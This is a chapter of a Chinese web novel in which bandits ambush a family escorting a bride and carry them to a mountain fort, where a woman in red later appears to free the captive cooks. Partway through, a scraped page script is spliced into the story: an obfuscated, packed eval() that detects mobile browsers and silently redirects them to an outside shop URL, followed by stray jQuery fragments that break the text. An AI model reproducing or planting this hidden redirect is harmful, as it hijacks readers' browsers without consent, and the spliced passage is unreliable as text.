蜿蜒崎岖的山道上,一辆骡车哒哒哒地朝着石城的方向跑着,赶车的是个猎户,车上挤着的几个壮汉也是猎户,骡车上除了人还拉着小半车山货,他们今日进城是预备淘换粮食。
骡车不大,山路又陡,挤着并不好受,几人轮番调换位置和坐姿,只是不管怎么换,坐在外面的两个人始终弓不离手,眼睛盯着山道两侧的密林,像是在防备着什么。
远远的,赶骡子的猎户瞧见了迎面而来的牛车。
赶车的是个年轻后生,看年纪约莫二十,身材壮实,麻衣短褐,一看便是当地的农户。这农户家应是办喜事,这年轻后生的粗布衣衫没有什么磨损,显然是才上身的,身前还斜斜绑着红绸,那老黄牛的两只牛角上也扎着红布,猎户心想,这应该是去送亲的了。
等彼此靠近了一点儿再瞧,可不是送亲嘛。牛车后边摞着四个红绸捆绑的大木箱,箱子上头还码着五六匹簇新的布料,这嫁妆在富贵人家眼里都不够看的,但对他们这样的庄稼人来说属实是舍得了。
再挨近一点儿,才看见了牛车上坐着的父女。那老父也是一身粗布新衣,看着不到五十的年纪,满面风霜,正殷殷切切地叮嘱女儿。
那新嫁娘盖着红盖头呢,看不出年纪,但想来也不过是十七八岁,本地嫁女差不多都是这个年纪。她一身红衣端端正正地坐着,偶尔对着老父的方向偏头,盖头挡着脸,猎户自然看不清她的相貌。
但山风调皮,在两车交汇时,一阵清风吹起了盖头的一角,不经意间露出她白皙秀丽的下颌。这就足够路人猜想了,这农女定然样貌不俗。
其实,不用瞧也能知道。端看那父子二人,那赶车的后生虽是一身麻布,但凑近了一瞧,哎哟哟,五官俊朗,当真是好相貌!若是给他换一身锦绣华服,手里再摇一把折扇,说是富贵人家的公子哥儿也没人怀疑呐。再看那老父,虽是上了年纪,但那眉眼,年轻时定是迷倒十里八乡的农家美男子。
两车擦身而过,眼看着牛车就要驶进那深山密林,骡车上一个猎户终是忍不住喊了一身:“这位老丈——”
牛车停了下来,老丈和后生看向他们,连新嫁娘也跟着扭头。
那出声喊人的猎户叹了一口气,对着父子二人问道:“家里办喜事?二位去送亲?”
“哈哈,正是正是!诶,老大,喜饼呢?”老丈呵呵一笑。
那后生听见父亲的话,忙跳下牛车,车上有一个盖着红布的篮子,他掀开红布,提着篮子走向骡车,给几个猎户分饼。
这些猎户一大早就下山了,此时都觉得腹中有些空虚,给路人分喜饼乃是当地风俗,他们当然不会拒绝,但也极其克制,各自拿了一个就收手了。
拿了饼的猎户心中更是不忍,忙道:“老丈,小哥,最近山里可不太平啊!两个月前不知打哪儿来了一伙土匪,占山为祸,你看我们几个,进城换货都要结伴,你们……”
“是啊,这位老丈,你们送亲的人是不是少了些?”
“啊?这!”后生吓得后退两步,扭头看向自家父亲。
老丈也是大吃一惊:“这……这如何是好!明天就是成亲的日子,耽误不得呀!”
一个猎户安慰:“不过他们多在山里活动,你们沿着这大路走,千万别抄小道,这青天白日的,路上还有行人,应该没事。”
“爹,那我们抓紧走吧。”后生跳回牛车上。
猎户们忙道:“对对对,你们抓紧赶路吧!路上就别歇了!恭喜老丈,也恭喜这位小娘子!一定要平平安安,圆圆满满呐!”
两拨人分别,牛车果然加快了速度。
又往前走了二十里地,山路上的树荫越来越浓。巴南府山多,尤以石城和忠州为甚,他们走的恰是石城通往忠州这段。山路两侧尽是深山茂林参天古木,眼下虽是五月,但是道路两侧的大树遮天蔽日,让牛车上的三人生生发寒。
树林里传来沙沙声,女孩被这声音吓了一跳,她瑟缩着往父亲身边靠过去,柔弱的嗓音在这空旷的山道上格外清晰:“爹,他们说的是真的吗?真的有山匪吗?我害怕……”
老父往林子里看了看,安慰道:“我儿莫怕。巴南府有十几年没闹山匪了,许是那几人搞错了。”
“是啊,妹妹莫怕,再翻一座山头就到了。”
父子二人话音刚落,林子里的动静就更大了,一阵狂笑声响起——
“哈哈哈哈哈……你们翻不了下一座山头了,就到这吧!哟,小娘子这身装扮好,巧了,我朱老三还没娶媳妇呢,这不是天赐良缘吗?小娘子就嫁给我吧!这是岳父吧,这是大舅子,来来来,兄弟们,都出来见礼了!见见我朱老三的亲戚!”
随着一个手提大刀、黑脸凶相的男人跳到牛车前,两侧林子里瞬间嗖嗖嗖地蹿出二十几人,将牛车团团围住,放肆地打量着面如土色的父子二人,以及那盖着红盖头瑟瑟发抖的新嫁娘。
“好汉!好汉饶命!”后生慌忙张开双手护在父亲和妹妹前面,对着逼近的土匪讨饶,“求好汉饶我三人性命!这车上的财物,好汉只管取走,只求饶过我爹和我妹妹!”
又上来一个刀疤脸男人,提刀指着后生邪笑:“滚开!饶不饶命,等我掀了小娘子的盖头再说!”
后面的土匪又是一阵狂笑。
岂料,方才说话的朱老三将他一推,道:“老四,怎么说话呢?对我大舅子客气些!”
那刀疤脸一愣,有些不甘,但又很怵朱老三,忙舔着脸道:“是我不长眼,大舅哥别生气!”
这回,换朱老三逼近父子三人。
那后生依旧张着手,颤抖着声音:“你们……你别过来!你们要求财,取财就是了!别过来!”
朱老三不耐烦了,将后生一提一搡,后生就倒在了车轮旁边。
“老大!”
“哥哥!”
女孩关心则乱,听见兄长倒地的声音,竟是自己扯了红盖头去寻找兄长的身影。
朱老三和刀疤男都齐齐倒吸一口气。
“哟,我朱老三果然是个有福气的!”朱老三伸手就要去触女孩的下巴,女孩往后一缩,缩回父亲身边,低头哀求:“好汉饶命,不要杀我爹,不要杀我哥哥!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755023|209501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“哟,小美人,我怎么会杀你爹和你哥哥呢?来来来,小美人跟我回去,咱们今日就成亲!岳父和大舅哥把嫁妆都送来了,可不就是为着今天的好日子吗?”
又是一阵吆喝声和口哨声。
女孩紧紧地靠着父亲,颤了颤眼皮,才怯怯地看向朱老三,直看得朱老三一抖。
“我……我跟你走,你就不杀我爹和我哥吗?”
“当然,当然!岳父和大舅哥来送亲,我是来迎亲的呀!来来来,咱们这就回寨子里成亲!”
“来来来,大舅哥快起来!”刀疤男笑得流里流气,伸手去拉地上的后生。后生不敢不从,顺着他的手劲起身,一起来就马上挤到妹妹身前。
朱老三抱胸笑了笑,扭头对着一众土匪:“还愣着干什么?还不赶紧迎我老丈人一家进山,今天寨子里办喜事!”
随着土匪一阵欢呼,父子三人瞬间被裹挟而去,片刻功夫,山道就恢复了寂静。
两刻钟之后,一辆马车路过停下来歇脚,可是这儿除了一点车辙和一群杂乱的脚印,什么都没有了。
这群山匪安营扎寨极有章法,据点位于半山腰的一个坳口,前有千仞绝壁做寨门,放哨的人只要看到官兵上山,寨门一关就是易守难攻之地。而一旦形势不对,自觉打不过官兵时,山寨后院直接通向茫茫大山,他们立时可作鸟兽散,躲上十天半个月,耗都能把官兵耗死。
日头才落山,整个土匪寨就已经点亮篝火,摆上酒肉,一个个喝得七荤八素。
刀疤脸看着上首的人,莫名地有些不安:“三哥,你看上那小娘们就算了,那对父子嘛……依兄弟的意思,还是杀了比较安心。”
“诶,怎么能在洞房之前杀了我岳父和大舅哥呢?”朱老三斜眼对着他笑,又灌下一碗酒,厨娘端着一盘切好的牛肉放在他面前,他不忘伸手在厨娘的大腿掐了两下。
“哈哈哈哈……兄弟懂了,懂了!那对父子,留到回门?”
“回什么门呀!他们是来送亲的嘛,送完亲,今天喝了喜酒,明天就送他们上路!”
朱老三左右之人都懂了,上路上的是黄泉路。也是,这巴南府的女子烈性得很。想当初,他们从附近的农户猎户家掳人的时候,下手狠了,把人家全家男人都屠了,结果那些女人疯了一样跟他们厮打,宁肯自己撞在刀口上也不跟他们走。后面他们就会了,寨子里这几个厨娘被掳了来,是因为家里有人质在他们手上。她们老实呢,家里人就能活,否则……
“来来,喝酒,祝三哥小登科!”
“我刚才可看清楚了,可真是个小美人呐!”
“还是三哥有福啊,哈哈哈哈……”
两个厨娘忍着恐惧和恶心摆上最后一盘肉,快步逃回厨房,刚回来的两人却没发现另外三个同伴有些细微的异常,她们在颤抖。
直到厨房的门轻轻动了一下,刚回来的两人吓了一跳,一扭头,就看见一个一身红衣的女子,站在厨房门后的阴影处,对着她们比了一个噤声的手势。
“别出声,别紧张,别害怕,我是来救你们的!”